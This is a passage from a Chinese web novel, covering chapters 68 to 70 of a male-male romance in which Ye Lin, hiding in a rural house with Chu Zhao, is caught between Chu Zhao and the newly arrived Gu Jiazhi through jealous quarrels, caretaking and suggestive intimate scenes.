楚诏不愿意让他受累:“知道你厉害,但还是我来吧。” 叶临刚好肚子有点饿,还是没有继续争执,转而走进厨房。 他先把小白菜洗了,打好鸡蛋,切好肉备用。 开火烧油,用辣椒把肉炒香,盛出来放在旁边。 再炒鸡蛋,放水。等到水开后下入细面和小白菜,又旁边放着两个大汤碗,放上生抽,盐。 面熟了浇上汤汁,放入面条,小白菜,就是一碗香喷喷的汤面,还有肉做配菜。 楚诏搬完东西,去卫生间洗脸,出来后看见桌上摆着碗面,还有一盘炒肉,怀疑自己的眼神不好。 叶临在桌子前坐下来,又用筷子敲碗叫他:“过来吃晚饭啊,怎么像个呆子?” 楚昭忙跑过去,在他对面坐下来:“你还会做饭啊?” 叶临是个自信的人,尝了自己做的面,感觉吃到了世间最美味的食物,神情陶醉:“当然,我会的可多了。” 楚诏低头尝了一口,抬头刚好看到门外的夕阳,照在水田上熠熠生辉。 水波荡漾,像是他的心跳。 叶临又敲敲碗:“哎,我做的好吃吧?” 楚诏连连点头:“好吃,我从来没有吃过这么好吃的面。我还以为你不会做饭,也没想到我能吃到你亲手做的饭。” 叶临看他像是小弟崇拜大哥,故作谦虚地摆手:“这也没啥,家常小菜还是会的。吃完饭,你就跟我去楼上换床单,我要洗澡休息了,累死。” 楚诏喝了一口汤:“好。” 饭后,他们来到主卧,一人捏着被子角,一人往里塞被芯,再摊开。 动作流畅,很快就铺完,像是生活多年的夫夫。 叶临拿上浴巾,踩着拖鞋进浴室。 楚诏盯着浴室门看了一会儿,感觉自己来到了天堂,过上梦寐以求的婚后同居生活。 可是还有很多家务活要做,不能停留在这里。 楚诏连忙下楼去洗碗,清理厨房,紧接着又去主卧拖地。 等叶临洗完澡出来,卧室的地板干净无暇,还散发着淡淡的香味。就连他刚换下的衣服和内。裤都洗好了,晒在阳台。 楚诏还洗拖把,传来哗啦啦的水声。 叶临原本对楚诏心存怨念,可是他勤快能干,又多了好感。 行吧,至少楚诏救他出来,还会照顾人,那就给点好脸色。 这样计划着,他看到楚诏走进卧室,就拍拍旁边的位置:“躺下来休息吧,开一天的车,累都累死了。” 楚诏没想到他会主动邀请,风一样跑去浴室洗澡,又飞出来,像是云朵轻飘飘地落下。 叶临想到自己的手机在顾柘那里,心里郁闷:“可惜我的手机,游戏机,电脑都没有拿过来,无聊死了。” 楚诏在旁边看着他嘴唇开合,忍不住凑过去亲。 叶临的眼睛微微瞪大,立即推开楚诏:“你有没有认真听我说话啊!” 楚诏翻身拿出游戏机和手机,递给他:“这些都是特制的,不会被追踪到,可以放心玩。” 叶临抱着游戏机,美美地打开喜欢的几款游戏,结果脸颊一热,又被亲了。 他抬肩膀去撞旁边的楚诏,抱怨道:“你烦死了,能不能让人好好打游戏。” 楚诏只好忍住,在旁边看着他玩。 对于他来说,这些游戏都是很多代码组成,没意思,就专心致志玩游戏的叶临很有意思。 天彻底暗下来,能够听到周围的狗叫声,还有喝醉酒的人声。 这些声音消失后,就是呼呼的风声,夜深人静了。 叶临放下游戏机,闭上眼睛准备睡觉,结果被楚诏捞到怀里亲,烦躁地去推。 “楚诏,你神经啊,我要睡觉。” “再亲亲就睡。” 楚诏抱着他,疯狂地嗅味道,像是大狗要记住主人的气味。 可是他又不像大狗那样单纯,总是会做出出格的事情。 叶临的脸颊泛红,难以自持,只好贴近他,要求道:别到底,就互相帮忙好了,我最近不想做那种事情。” 楚诏就像是刚跟和老婆搬进新家的丈夫,明明烧得很严重,可是蜜月期还是会愿意听老婆的话。 轻轻的,慢慢的,像是光和水的纠缠,艳丽夕阳与模糊倒影。 呼吸炙热,声音低沉,靠得很近,快要被融化。 叶临的眼睛里有了点水光,出声指导楚诏,肩膀都在发抖。 楚诏温柔地吻,想要安抚他的情绪,可是动作却不曾减缓,反而愈加强烈。 很快,事情就结束了。 叶临靠在楚诏的怀里平复呼吸,久违地在这种事情上感觉到舒心如意。 这么久了,终于不是顾柘那种飓风式,要将一切都清扫干净,送到高处 楚诏空了多日,此时还不满足。 可是他才刚得到叶临的好感,也不敢肆意妄为,只能拿出湿巾收拾残局,再关灯睡觉。 次日,他们醒来后会挤在卫生间刷牙洗脸,再一起做饭,散步,打打游戏,夜里会亲密。 是最平常的夫妻,日子恬淡美好。 然而这样的生活,只持续了三天,楚诏就需要外出吸引顾柘的火力,避免他找到叶临。 临走时,他还叮嘱叶临别出门,就在家里呆着,很快就会回来。 叶临送别楚诏后,把门窗都关好,乖乖窝在卧室里打游戏。 到了傍晚,忽然听到敲门声,急促而有力,似乎很急切。 难道是楚诏回来了? 叶临跑到窗户,往外看去。 居然是戴着帽子的男人,看侧脸像是顾柘。 心跳陡然增速,吓得他差点腿软跌倒。 楼下的男人感觉到视线,抬头去看,左上角的窗户就能看见叶临的半边脸一闪而过。 他大喊:“开门,我是顾嘉致。” 叶临又仔细看,确认额角没伤,这才安心。 可是上回他想跟顾嘉致走,结果这小子居然不搭理,才不想放进来。 叶临推开窗户,嘲讽底下的顾嘉致:“之前不是说,不想跟嫂子私奔吗,还跑来这里做什么?” 顾嘉致听到“嫂子”这个词就来火,踢了门口的石子:“你又不想跟顾柘结婚,怎么算是我嫂子了!” 叶临记恨上次的事,成心要气他:“那我跟他谈恋爱了,而且互相喜欢过,就是你嫂子。你现在的行为叫做知三当三,道德败坏,非常恶劣,赶快走吧。” 顾嘉致本来就记恨他跟顾柘谈恋爱的事情,听到“互相喜欢”,瞬间就炸了,怒吼:“你说什么!” 怎么感觉今天的顾嘉致不对劲,像个炮仗,一点就着。 叶临懒得跟他多说,关上窗户。 第69章 第69章情敌见面,分外眼红 门外还会传来顾嘉致的声音,像只蝉在叫。 叶临庆幸这栋房子地处高处,位置偏僻,最近的邻居都隔了三个水田。 不然其他人听到顾嘉致的话,还以为他做了什么坏事呢。 叶临被顾嘉致吵到,戴上耳机看电影。 电影都是楚诏提前下载好了的,除开他最爱的打斗特效片,还有其他类型的电影。 现在看的这部就是青春爱情电影,节奏很慢,是高中题材。 班级边缘差生暗恋漂亮女学霸,两个人经常会对视,但从来不会说话。 以前叶临看到这种类型的电影,代入感总是很强,可是现在看,心境却是平静的,毫无波澜起伏。 或许是因为他无法代入差生,又或是他不会爱慕漂亮女学霸 到底是为什么呢? 叶临左思右想,不经意地抬头,却看到顾嘉致出现在阳台,手掌还有攀爬红砖墙壁磨出的痕迹。 顾嘉致的眼睛是纯黑色的,和顾柘的暗沉不同,在阳光下还会有些许微光。 此刻脸颊泛红,胸膛不断地起伏,急促地呼吸,像个莽撞的少年。 自建房的楼层不高,很容易爬上来,但他应该也是费了很大功夫。 叶临摘下耳机,冲着阳台骂道:“不怕摔死吗?” 顾嘉致用力拍窗户,声音模糊:“开窗!开窗!开窗!” 叶临瞥他一眼,躺下来玩游戏机,故意不去看他。 顾嘉致没办法,只能退远,努力用肩膀去撞窗户,致使整栋楼开始摇晃。 咚咚咚—— 叶临的心跳逐渐跟声响同步,而且越来越大,吵得耳鸣,无法专心打游戏。 他抬头去看顾嘉致,居然还在坚持撞窗,完全不怕疼,一次又一次地撞上来。 不会撞死吧? 叶临冒出这个念头,还是下床走到阳台窗户前,隔着玻璃警告他:“我现在不想见你,你撞死都不会开门的!” 顾嘉致听到他的话,更加确认他爱上了顾柘的事实,猛地捶窗质问:“为什么!” 叶临清楚地看见他的眼眶逐渐泛红,脸上的焦躁褪去,取而代之的是落寞。 “你跟顾柘相互喜欢过,那我呢,我算是什么!” 顾嘉致盯着他的眼睛,缓缓说出这句话。其实已经碎得四分五裂,还要勉强拼凑成人样,故作坚强地问出这句话。 叶临从未在顾嘉致脸上看到过这种神情,愤怒,委屈,不甘,绝望。 这种神情太熟悉了,以前认的某个大哥,追女神多年。结果女神跟别的男人好了,大哥就疯狂买醉,不断地问:“那是她男朋友,我呢,我是什么?” 不是吧,顾嘉致在搞什么,怎么能用这种表情看他? 他们可是好兄弟啊! 叶临下意识地往后退,本能地抵触,不想去面对事实。 顾嘉致看到他的反应,就知道他在逃避自己的感情,眼泪随之滑落,自嘲道:“你就愿意跟顾柘谈,是吧。” 其实是假话,他根本不愿意跟顾柘谈恋爱,也没有互相喜欢过,都是为了气顾嘉致。 谁知道顾嘉致不仅没被气到,反而会伤心落泪,真是莫名其妙。 可是,要说实话吗? 说实话,岂不是在打他的脸,这才几分钟啊。 叶临太好面子了,又不敢面对失魂落魄的顾嘉致,只能背过身去:“反正我不会开窗,你想呆在阳台,就呆着吧,冻不死你!” 身后没有传来拍窗的声音,像是赛车半路熄火侧翻,车毁人亡。 顾嘉致靠着窗户没说话,平常高大健壮的身体,此刻却显得瘦削落寞,像是冬日里快枯死的树。 叶临不想呆在这个房间,跑到隔壁的卧室躺下来,图个清净。 他真搞不懂顾嘉致。 失忆前,他们是好朋友。失忆后,顾嘉致先是嘲讽他拜金,后面跑来救他,又不想带他走。 还以为他们的关系就止步于此,没想到顾嘉致跑上门来找,还说些让人听不懂话,暗自神伤。 越想越乱,像是打结的毛线团,理不清。 叶临放弃思考,拿出手机麻痹自己,没一会儿就睡过去。 醒来的时候,天色已经完全暗下来,月亮很瘦,旁边有几颗星点。 按照惯例,他会下楼做饭吃。可是今天胃口不好,翻出点面包,兑着水随便吃点得了。 风声呼啸,天色越发阴沉,隐约听见狗吠。 叶临注意到手机左上角的时间,已经是晚上十点钟。 顾嘉致还在阳台吗? 会不会冻死啊。 叶临走出房间,犹豫一会儿,蹑手蹑脚地走进主卧。 他没有开灯,只是借着淡淡的月光看向阳台。 顾嘉致靠着窗户,眼睛紧闭,已经睡过去。 “像猪一样,这都能睡着。” 叶临抱怨着,跑过去开窗。 顾嘉致的脸颊很红,微微发抖,还没醒过来。 叶临感觉到不对劲,蹲下来去摸额头,果然是发高烧了。 只好把顾嘉致扶进卧室,放在床上,再跑去拿温度计。 逃亡的过程中,不能去医院,楚诏提前在家里准备了医药箱,全是常备药。 叶临把顾嘉致扶起来,拍拍他的脸颊,要喂他吃下退烧药。 顾嘉致意识迷糊,听到他的话,还是张嘴喝药。 这个过程并不顺利,或是热水泼出来,打湿衣服,又或是药片滚落。 费劲折腾了三四次,才把药喂进去。 叶临还要换床单被套,再帮顾嘉致换衣服。 顾嘉致的身材跟楚诏差不多,刚好可以穿他的睡衣。 考虑到顾嘉致病好后会虚弱,需要进食,叶临在厨房炖了鸡汤,用电饭煲保温着。 做完这些,精力已经耗干净。 叶临在旁边躺下来休息,看着顾嘉致的脸出神。 第一次在酒吧见面,他就觉得顾嘉致的长相周正,是传统型的浓眉大眼帅哥,男女都能欣赏。 现在凑近了看,更觉得俊朗。成熟和少年两种气质并存,素颜都足够出彩,是非常高级的长相。 叶临伸出手去戳顾嘉致的脸颊,小声抱怨:“傻傻的,不会找到挡风的地方呆着,非要蹲在阳台吹冷风吗?” 以前他分不清双胞胎的长相,但现在能够从气质上判断出不同。 顾柘是阴沉粘腻的,像是森林深处的沼泽,蛰伏于草丛里的眼睛毒蛇,很难让人喜欢。 顾嘉致是明媚清爽的,像是山谷间的小溪,乖乖吃草的毛绒兔子,很难让人讨厌。 叶临抬手去探额头,发现体温还没下降,长叹一声,又抱怨起来:“你就不知道装可怜,叫两声吗?” 其实他能够察觉到,男人在他面前会装可怜,譬如沈邵生病,演技高超。他看破不说破,毕竟沈邵确实为他付出很多,既有功劳也有苦劳。 顾嘉致不需要很高超的演技,只要叫他的名字,说自己快冻死了,快昏倒了,随便找个理由,就能让他开窗。 可就是不找,不演,非要固执地撞窗,说些不好听的话。 叶临贴近顾嘉致,感受他身上炙热的体温,想看看什么时候会降下去。 不知道过了多久,楼下传来开门声。 叶临警觉地坐起来,拿起防身的刀具,往外走。 走廊没灯,黑黝黝的,看不清人影。 楚诏走上楼,看到叶临朝自己冲过来,连忙避开,开灯。 叶临这才看清楚是楚诏,埋怨道:“你怎么不出声啊,吓死我了。” 楚诏刚从很远的地方回来,风尘仆仆的,面露愧色:“这么晚了,我怕吵到你。怎么熬夜了,不睡觉?” 叶临收好刀具:“我睡不着。” 楚诏的视线落到主卧,看见顾嘉致的半张脸,心沉到谷底,失望地看向叶临:“你让顾柘进来了?” 叶临连忙摆手解释:“是顾嘉致,说来话长。反正他发烧,我暂时收留他,你小声点,别吵到他。” 楚诏后面没再联系顾嘉致,也不知道这家伙是怎么找到这里的,还让叶临心疼。 而且仔细观察,还会发现顾嘉致穿着他的睡衣,这怎么能忍? 楚诏掀开被子,看着顾嘉致身上的睡衣,咬牙道:“你怎么能让他穿我的睡衣?” 叶临拍开他的手,把被子盖回去,又拉着他往走廊去,关好门,避免顾嘉致被吵到。 “我的衣服顾嘉致穿不了,只能穿你的,有什么大不了的。” “可,那是我的衣服,你怎么能这样!” 楚诏神情委屈,他把这栋房子当成自己和叶临的爱巢,所有换洗衣服都买的情侣装,怎么能给别的男人穿呢? “我怎么了?”叶临不爽地推他,翻起旧账:“一件睡衣而已,你再买新的不就好了,大题小做!” “这不一样!”楚诏恨不得把所有成对的衣服翻出来,跟叶临解释清楚。可是他和叶临名义上又不是情侣,说再多都没意义。 “我说一样就一样,而且你之前不是穿了顾柘好几件衣服,顾嘉致跟他哥长得一样,就当是两清了,少哔哔赖赖!” 叶临说完就要开门进主卧,手却被按住。 “你今天晚上要陪着顾嘉致,是吗?” “对啊,他生病了,我在旁边好照顾。” 楚诏忍了顾嘉致睡主卧,可不能忍叶临陪床,用力将叶临拽到怀里抱紧:“只是发烧而已,很快就好了,哪用得着你受累。而且,他之前不是很嫌弃你,何必对他好。” 叶临想到顾嘉致几次三番嘲讽自己拜金,心里确实膈应。 楚诏又继续劝说:“跟我去另外一个房间休息吧,大不了我起夜照顾他,不会让他病倒的。” 叶临用力推他:“哎呀,少粘着我,烦死了。” 楚诏抱得更紧,语气可怜:“我今天半路翻车,差点被顾柘害死。” 叶临闻言,脸色微变,赶紧把他拽进隔壁的卧室,翻出医药箱要帮他看病。 楚诏的伤口在手臂,只是一道小疤,并无大碍。 叶临有种被诈骗的感觉,气愤地捶了他好几下,又被抱住亲。 楚诏熟悉他的弱点,不止是吻,更是会拿捏其他的地方。 很快,叶临的脸颊就浮现红晕,紧接呼吸不匀。 这家伙,最开始生涩蠢笨,需要慢慢地引导。 现在已经很熟练,短短几分钟,就掀起潮水。 夜里的潮水总是格外地强烈,漫上来,要淹没大片的庄稼。 叶临注意到门还没关,于是挡住楚诏的嘴唇:“去关,关门。” 楚诏在他的手心亲了一下,才起身去关门。 房间里只开了一盏小夜灯,光线昏暗,两团火焰正在熊熊燃烧,彼此纠缠不清,难以分开。 后半夜,高烧终于退了。 顾嘉致的意识回笼,缓缓睁开眼,发现自己居然躺在卧室里。 翻身去摸旁边,却是空的。 隐约记得是叶临把他扶进来的,还喂他喝药,换衣服。 那现在去了哪里? 顾嘉致起身想下床,浑身无力,差点倒地上,还是扶住柜子才面前站住。 高烧后的身体太虚弱了,肚子还空空的,需要补充营养。 他看向紧闭的房门,咬牙走过去。 转动门把手的时候,忽然听到一个突兀的叫声。 很熟悉,像是猫叫,可是又过分粘糊。 顾嘉致有了不好的预感,下意识用力握紧门把手。 主卧里放置的是双人婚床,而且布置得温馨,应该是楚诏跟叶临住在这里。 他猜到了现实,纠结片刻,还是推开门。 到了走廊上,声音更加清晰。 “艹,说了不要不要,你还来!” “可是我好不容易才回来一次。” 叶临骂不出声,小声地哼唧,像是在撒娇。 顾嘉致在黑暗中看不见,但能够想象出具体的情景:叶临应该靠在楚诏的怀里,脸颊和鼻尖都被闷红了。 浑身都是汗水。 坐不稳,总是发颤。 楚诏会亲吻他脸颊,以示安慰,轻声哄着。 “我和顾柘比,谁好?” “当然是你了,你比他好一万倍。” 顾嘉致听到这个对话,嘴里泛苦水,心脏被强行拧成团,疼得迈不动一步。 白天的时候,叶临还说跟顾柘相互喜欢过。 夜里,叶临就跟楚诏打情骂俏,说这种甜蜜话,怪不得愿意跟楚诏私奔,躲到这个山村里。 “哼” 房间里传出叶临轻轻柔柔的哭声,是最动情的征兆。 顾嘉致太熟悉了,以前无数次叶临在他怀里这样,红着脸掉眼泪,惹人怜惜。他都会吻,轻声哄。 楚诏也不例外,出声哄了叶临。 可是却不放过,像是铺天盖地的暴雨,迅猛而强烈。 叶临哭得越来越厉害,咬牙骂他。 顾嘉致听着,像是被无数把刀插中,血流不止,抬手按住门把手,就想推门进去。 结果头越来越沉,轰然倒地。 门内的楚诏听到响声,很快就知道有人在外面,可是并不打算停下来。 叶临刚好缓过神,推了*推楚诏:“是不是什么东西掉地上了,你快去看看。” 楚诏吻了他的眼尾,故意遮掩:“应该是新买的两箱饮料没放稳,明天再去整理。” “你买了什么饮料啊,家里不是已经有好几箱了?” “功能性的饮料,有突发事件,会有用的。” 叶临靠着楚诏休息,还去玩他的手指,嘟囔着抱怨这里的生活无聊,想快点出去。 楚诏哄着他,保证会快点解决顾柘,又抽出湿巾处理残局。 这个房间没有浴室,隔壁主卧才有。 叶临想去洗澡,想起顾嘉致,看向门口:“你把饮料箱放在走廊了吗,我刚刚听着像是外面走廊发出的声音。” 楚诏当然没把饮料箱放在走廊,怕叶临发现,只能模棱两可地回答:“好像是吧,忘记了。” 叶临开灯,在旁边找衣服换上:“算了,我出去看一趟吧,顺便看看顾嘉致有没有退烧。” 楚诏连忙按住他:“我去吧,你躺着休息,挺累的。” 叶临的手脚很快,已经穿好衣服,朝着门口走去。 刚打开门,就看到地上躺着个人,用手机去照,才发现是顾嘉致。 叶临吓了一跳,蹲下去摸顾嘉致的额头:“你怎么跑这里来了?” 顾嘉致已经昏过去,脸色苍白,纹丝不动。 楚诏不想叶临扶,只能蹲下来,将顾嘉致扶起来,朝着主卧走去,嘴里还说着蹩脚的谎话:“可能是他饿了,想出来找东西吃,没力气昏过去。” 叶临觉得他说的有理,于是下楼去把鸡汤端上来。 顾嘉致还没醒来。 楚诏接过汤碗,看向浴室,提议道:“你先去洗澡,早点休息吧。我照顾他就好了,反正我们的关系挺好的。” 这倒是实话,顾嘉致还夸过楚诏的黑客技术厉害。 叶临觉得身上粘腻,抱着浴巾去洗澡,还叮嘱楚诏记得帮顾嘉致换衣服,喂他吃饭喝药。 楚诏全都应下来,实则完全不打算照做。 顾嘉致身上的睡衣,还是他第一天搬进来穿的。 那时跟叶临就像是新婚夫夫,现在却多出个不速之客,心里当然会不痛快。 要是最初的楚诏,应该会看在顾嘉致帮忙救出叶临的份上,好好地照顾。 可是他现在已经走了不归路,心性不似从前,只会想到自己的利益。 楚诏把鸡汤放在桌上,敲了敲桌面,故意制造噪音,叫了顾嘉致的名字。 三声过后,顾嘉致终于醒过来。 情敌见面,分外眼红。 彼此的眼神都不对付,恨不得将对方赶出去,再也不能出现在叶临身边。 楚诏看出顾嘉致跟之前的不同,率先开口:“退烧了就喝口鸡汤,明天病好就快走。” 顾嘉致以为是他做的鸡汤,几欲反胃,嫌弃道:“我不喝这种廉价的东西,恶心。” 楚诏端起鸡汤,自己喝了两口,神情得意。 这时叶临从浴室里走出来,看见楚诏在喝鸡汤,急匆匆地跑过去责怪:“你怎么回事,不是让你喂顾嘉致喝嘛,怎么自己喝起来了?” 楚诏把鸡汤喝干净,放在柜子上,看向顾嘉致:“顾少爷说他不喜欢喝这廉价的东西,觉得恶心。我想到是你熬的,不想浪费,就自己喝了。” 顾嘉致如遭雷击,看向叶临:“你现在会做饭?” 楚诏抢先回答:“叶临来到这里就会做了,我每天都能吃他做的饭。” 他的表情就像是在说:“我每天都在吃老婆做的饭,好幸福!你都没吃到,真可怜。” 顾嘉致看着想吐,又联想到刚刚的声音,面如土色。 叶临无奈地叹气:“顾嘉致,你真挑嘴啊。行吧,你现在想吃什么,我去做。先说好,这里是农村,没什么高级食材。” 楚诏刚因为得意而扬起的头,立刻耷拉下来,愤愤不平地反问:“不是,你为什么惯着他,都可以点菜了?” 叶临看着顾嘉致苍白的脸色,于心不忍:“就凭他是病人啊,发烧还饿肚子,挺可怜的。而且,他从小娇生惯养,嫌弃鸡汤很正常。” 楚诏裂开了。 顾嘉致就算有怨气,现在也得先对付楚诏,于是抓住叶临的手腕:“我刚刚就是头疼不舒服,现在又想喝了。” 叶临懒得下楼,于是踢了踢楚诏的小腿:“你再去盛一碗上来,记得多捞点肉。” 楚诏拒绝:“不去,他想喝就自己去。” 叶临又踢了一次:“叫你去就去,不是说喜欢我,怎么不听话?” 楚诏意识到这是属于男友的光荣义务,还是跑下楼去端鸡汤。 等他一走,房间又只剩下两个人。 顾嘉致心里堵得慌,忍不住嘲讽:“你现在跟楚诏的感情可真好啊,没脸没皮的。” 叶临对他刚有点同情心,马上又收回去:“顾嘉致你没刷牙吗,嘴这么臭,像吃了大粪一样!” 顾嘉致冷笑起来:“我嘴臭,那你就是荤素不忌,自甘堕落,居然看上楚诏这种垃圾货色!” 叶临想到顾嘉致白天的发疯行为,终于回过味来:“你说话怎么酸溜溜的,难不成是喜欢我吗?” 顾嘉致连续遭受两次痛击,哪里说得出口,扭过头不看他:“我怎么可能喜欢你!” 叶临安心了,长舒一口气,拍拍他的肩膀:“那就好,咱们还是好朋友。好朋友之间偶尔会闹脾气,吵架,但还是要握手言和。” 说完叶临就握住他的手。他以前经常这样对好兄弟,只要握手,喝两口小酒就可以冰释前嫌。 顾嘉致猛然惊醒,感觉到有什么重要的东西从指缝间流走。 他刚想说话,就看到楚诏端着鸡汤出现在门口,疾言厉色。 “你们在做什么!” 第70章 第70章“放,放开我的尾巴”…… 叶临松开手,看向楚诏,语气平淡:“聊天啊,你大惊小怪什么?” 楚诏把鸡汤放在桌子上,指着顾嘉致的脸质问:“我看到他牵你的手,跟你眉来眼去,不知廉耻。” 顾嘉致差点被他这句话气笑了,微微耸肩:“我不知廉耻?你跟顾柘是好友,现在背刺他,拐跑他的未婚夫,就很有道德了?” 楚诏背叛顾柘的时候花了很多时间才能下决定,此刻还是会回想起恩人顾柘骂他的情景,顿时说不出话。 叶临把鸡汤递给顾嘉致面前:“要喝就快喝,凉了可不会有新的。” 顾嘉致想到这是叶临亲手做的汤,如获至宝,小心翼翼地喝下去,再夸赞:“很鲜美,没想到你居然会做菜。” 叶临自信地扬起头,拍拍他的肩膀:“我会的可多了” 楚诏看着窗外的天色,把叶临拉到身边,轻声道:“该休息了,我们回房间。” 顾嘉致哪里肯,重重地放下喝完的弯:“和你睡,你是叶临的什么人?” 楚诏冷笑,轻蔑地扫过他:“哦,那你又是叶临的什么人?” 眼看着双方又要爆发一场激战,会搅得整栋楼不安生。 叶临烦躁地甩开楚诏的手,宣布今天的休息处:“烦死了,我自己睡。” 说完,他就跑到隔壁的卧室,用力摔门,从里面反锁。 任凭楚诏怎么敲门,都没有回应,只能愤恨地看向旁边的顾嘉致。 他暗暗下定决心,明天必须想办法把顾嘉致赶走,省得干扰他和叶临的甜蜜生活。 顾嘉致也不甘示弱,回瞪更犀利的眼神,也打算挑拨楚诏和叶临的关系,把这个情敌赶出去。 进屋后,叶临困得打哈欠,沾枕头就睡过去。 一夜无梦,醒来的时候已经是中午。 阳光照进卧室,可以看清空中的团团细密灰尘。 水泥地也不好住,还是主卧的瓷砖舒服。 叶临想了想,今天晚上还是得回主卧休息,至于顾嘉致,就打发来现在这个卧室。 门外传来敲门声,是楚诏端着早餐来找他,说话语气很温柔。 叶临打开门,看到楚诏端着一碗馄饨,清亮的汤底,上面飘着翠绿的葱花,颗颗饱满完整。 正是之前他们两个人一起包的馄饨,存在冰柜里,可以当成早餐。 叶临接过来,进房间后放在小桌上吃:“顾嘉致呢,他吃了吗?” 楚诏当然没管顾嘉致:“他嫌弃这里,不肯吃我煮的馄饨。” 叶临无奈地摇头:“就是好日子过久了,不知道吃苦。” 这时顾嘉致出现在门口,扶着门框,盯着楚诏的背后看:“他只煮了你和他的份,可不让我吃。” 楚诏的身体微僵,很快出声反驳:“哪有,是你自己嫌弃!” 叶临抬眼去看顾嘉致,发现他的脸色依旧苍白:“好了,你快去再煮一碗给他吃。你们不是朋友嘛,怎么关系突然就变差劲了。” 楚诏哪里愿意伺候情敌,脚都没抬起来:“我们之前只是短暂的合作,关系根本不好。” 顾嘉致大步走进来,旁若无人地坐下来:“我跟这种两面三刀的人合不来。” 叶临搞不懂他们之间为什么会有矛盾,于是抬头去看楚诏:“那你再为我煮一碗馄饨吧,我还要吃。” 楚诏得令,立即跑下楼去煮馄饨。 顾嘉致见状,指着叶临的一碗馄饨:“你这一碗给我吃,我快饿死了。” 叶临无奈地把碗筷让给他,摇摇头:“饿了不会自己去找吃的吗,只是发烧而已,又不是生重病。” 顾嘉致爱吃叶临剩下来的食物,拿起勺子的时候还能感觉到叶临留在上面的余温,心里很满足。 很快,楚诏就端着新的馄饨上楼,看到这副情景,心里难受。 叶临接过馄饨来吃,还贴心地把好几颗馄饨舀到顾嘉致的碗里,叮嘱他多吃点,好恢复身体。 顾嘉致嘴里吃着馄饨,却不断地抬眼看楚诏,眼神中的挑衅意味很明显。 楚诏想掀飞顾嘉致的碗,把他拎出去丢了,省得脏了眼睛。 可是现在叶临心疼顾嘉致生病,他无能取闹,会被叶临嫌弃,必须忍耐。 这样想着,楚诏只是站在旁边默默地等着叶临吃完,再把碗拿下去,故意忽略顾嘉致的碗筷。 叶临出声提醒:“你把他的碗也拿下去,顺道洗了吧。” 贤惠体贴,说起来容易,可做起来实在是太难了。 楚诏快要演不下去,盯着顾嘉致骂:“凭什么,他没手吗!” 叶临理所应当:“他生病了啊,一个碗而已,顺道的事,你怎么又计较。” 楚诏愤恨不满,但想得到叶临的爱,还是收好两个碗下楼去洗。 房间里只剩下他们两个人。 顾嘉致提议玩联机游戏,打发时间。 叶临好久没跟顾嘉致打游戏,怀念从前的时光,拿出游戏机选了双人游戏。 房间里响起熟悉的音效,此刻不像是呆在水泥地板的窄小自建房里,而是回到了最初宽敞温馨的公寓。 也不需要担心被顾柘抓到,只用想待会儿要玩什么游戏,吃什么外卖。 叶临习惯性地躺下来,枕着顾嘉致的腿,边打游戏,边跟他说话。 顾嘉致的心思已经不在游戏上,紧紧地盯着叶临的脸颊。 很久没见,叶临瘦了一些。清澈干净的眼神中多了沧桑之感,应该是经历了很多事。 昨天他光顾着生气,都没有仔细观察叶临的变化。 最讨厌的梁文乐去了国外,虚伪的沈邵住院还没康复,顾柘疯魔自残,绿茶楚诏阴险狡诈。 原本跟他无话不谈的叶临,也生出了嫌隙,再不似从前。 果真是物是人非。 顾嘉致撩开叶临眼前的碎发,露出光洁的额头,情不自禁地去吻。 叶临感觉到热意靠近,瞳孔微微瞪大,紧接着就挥手去扫:“打游戏好好的,你突然干嘛啊?” 顾嘉致盯着他的浅色瞳孔看,语气不满:“就许楚诏亲你,不许我亲吗?” 叶临愣住,很快就想到昨天自己跟楚诏做的事情,耳尖微微泛红,表情还是保持淡定,不想深究。 顾嘉致轻轻地描摹他的脸颊,故意搬出道德大山来压人:“昨天还说我是你最好的朋友,难道楚诏比我还重要?” 楚诏哪里能够跟好朋友相比。 叶临的呼吸变热:“放心好了,我不是重色轻友的人,当然是你重要。” 顾嘉致隐约听到楚诏上楼的声音,调侃道:“我还以为你很喜欢楚诏,要跟他谈恋爱了呢。” 叶临无奈地叹息:“哎呀,楚诏本质上跟梁文乐没区别。你要是记得梁文乐和我以前的事情,就会明白他对于我来说,意味着什么。” 顾嘉致像是打赢了一场胜仗,嘴角微勾:“我记得你和梁文乐的事情。这样看来,楚诏纯粹就是你的工具人,因为好用才留在身边,是吧?” 叶临对着好兄弟竖起大拇指:“可以啊!你的阅读理解很好,总结的非常到位!” 顾嘉致配合地笑起来:“以后楚诏没用了,你会就像踹掉梁文乐一样踹掉他吧。” 叶临听到“踹”这个形容词,心里不太舒服,正想纠正,就看到楚诏站在门口。 楚诏听完了全程,低垂着头,像是站在阴影里,哽咽着重复他们的话:“只是工具人?” 顾嘉致微微昂起头,用一种蔑视地态度看他:“对啊,不然你以为叶临是喜欢你,才把你留在身边吗?别痴心妄想了,只是因为你好用而已。” 楚诏抬眼看向叶临,发现对方还枕着顾嘉致,鼻子泛酸,眼眶一热,就转身跑出去。 哒哒哒—— 声音很快,像是山石滚落谷底,摔得四分五裂。 叶临“哎呀”一声,起身想去追,却被顾嘉致强行拉住。 “你起来干嘛,想去追他吗?” “你放手,他这个人容易想不开,我去看看。” “想不开?这种脸皮厚的人,怎么会想不开!” 顾嘉致将叶临强行拽回来,按住双手,低头去吻,没让他有机会说话。 是时隔半年多的吻,热烈缠绵,极难分开。 仿佛溺进温泉水里,完全被炽热包裹住,水浪般的痒意此起彼伏,不断地撞击岸边。 独属于他们的记忆中彼此的脑海里回荡,像是无数个幻灯片,环绕着周围,在黑暗中散发着淡淡的微光。 叶临本来是抗拒的,可是慢慢地,就被磨掉了力气。 他很久没有体会到这种契合的感觉,灵魂都贴在一起,都忘记要挣扎。 十多分钟,吻才结束。 他的脸颊泛红,呼吸不稳,愣愣地看着顾嘉致。 顾嘉致抓着他的手,十指相扣,凑到耳边轻声问:“你的饥饿值消除完了?” 叶临猛然惊醒,看着顾嘉致的脸很久,确认不是顾柘,才问道:“你恢复记忆了?” “对,所有的一切都记起来了。” “什么时候?” “就前几天,一恢复就来找你了。” 顾嘉致翻了白眼,微微用力握紧他的手,眉心蹙起,心情极为不悦。 叶临坐起来,赶紧给了顾嘉致一拳:“你是猪吗,昨天不知道早说,非要被关在阳台冻感冒,才高兴?” 顾嘉致看到他的神情急切,松开手,偏头去看别处:“某人昨天自己说不想见到我,那我说了岂不是自讨没趣,只能憋着喽。” 叶临抱着他狂摇,大骂道:“神经病!你现在怎么作里作气的,大老爷们就应该干脆点。” 这倒是实话,他和叶临是朋友的话,就应该直截了当地表明心意,不应该多出弯弯绕绕。 可问题是,他喜欢叶临,就忍不住试探,试探自己在叶临心里的地位,试探叶临对自己的看法。 试探完,发现根本不是自己想要的,由此破防。 